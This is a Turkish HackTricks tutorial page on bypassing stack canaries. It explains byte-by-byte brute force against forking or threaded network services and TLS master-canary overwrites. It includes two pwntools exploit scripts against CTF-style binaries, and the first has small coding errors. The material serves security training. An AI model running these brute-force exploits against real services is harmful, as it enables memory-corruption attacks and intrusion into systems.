BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- Bize katılın 💬 Discord grubuna veya telegram grubuna veya bizi takip edin Twitter'da 🐦 @hacktricks_live.
- Hacking ipuçlarını paylaşın, HackTricks ve HackTricks Cloud github reposuna PR göndererek.
Eğer bir canary ve PIE (Position Independent Executable) ile korunmuş bir ikili dosya ile karşılaşıyorsanız, muhtemelen bunları aşmanın bir yolunu bulmanız gerekiyor.
note
checksec
aracının, bir ikili dosyanın canary ile korunduğunu bulamayabileceğini unutmayın; eğer bu statik olarak derlenmişse ve fonksiyonu tanımlama yeteneği yoksa.
Ancak, bir fonksiyon çağrısının başında yığında bir değerin saklandığını ve bu değerin çıkmadan önce kontrol edildiğini bulursanız, bunu manuel olarak fark edebilirsiniz.
Brute force Canary
Basit bir canary'yi aşmanın en iyi yolu, ikili dosyanın her yeni bağlantı kurduğunuzda çocuk süreçleri fork eden bir program olmasıdır (ağ servisi), çünkü her bağlantı kurduğunuzda aynı canary kullanılacaktır.
Bu durumda, canary'yi aşmanın en iyi yolu sadece karakter karakter brute-force yapmak ve tahmin edilen canary baytının doğru olup olmadığını, programın çöküp çökmediğini veya normal akışına devam edip etmediğini kontrol ederek anlamaktır. Bu örnekte, fonksiyon 8 Baytlık bir canary'yi (x64) brute-force yapar ve doğru tahmin edilen bir bayt ile kötü bir bayt arasında ayrım yapar; sadece bir yanıtın sunucu tarafından geri gönderilip gönderilmediğini kontrol ederek (başka bir durumda try/except kullanmak da bir yol olabilir):
Örnek 1
Bu örnek 64 bit için uygulanmıştır ancak 32 bit için de kolayca uygulanabilir.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Örnek 2
Bu 32 bit için uygulanmıştır, ancak bu kolayca 64 bite değiştirilebilir.
Ayrıca bu örnek için programın önce girişin boyutunu belirtmek için bir byte beklediğini ve yükü.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Threads
Aynı işlemin thread'leri de aynı canary token'ını paylaşacaktır, bu nedenle, eğer ikili her saldırı gerçekleştiğinde yeni bir thread oluşturuyorsa, bir canary'yi brute-force etmek mümkün olacaktır.
Ayrıca, canary ile korunan bir threaded function'da bir buffer overflow kullanılarak TLS'de saklanan master canary'yi değiştirmek mümkün olabilir. Bunun nedeni, bir thread'in stack'inde bir bof aracılığıyla TLS'nin saklandığı bellek konumuna ulaşmanın mümkün olabilmesidir.
Sonuç olarak, bu önlem işe yaramaz çünkü kontrol, aynı (değiştirilmiş olsa da) iki canary ile kullanılır.
Bu saldırı, yazıda gerçekleştirilmiştir: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Ayrıca, genellikle TLS'nin mmap
ile saklandığını ve bir thread'in stack'i oluşturulduğunda bunun da mmap
ile oluşturulduğunu belirten https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015 sunumunu kontrol edin; bu, önceki yazıda gösterildiği gibi overflow'a izin verebilir.
Other examples & references
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bit, no PIE, nx, BF canary, bazı bellek alanlarına
execve
çağırmak için bir ROP yazın ve oraya atlayın.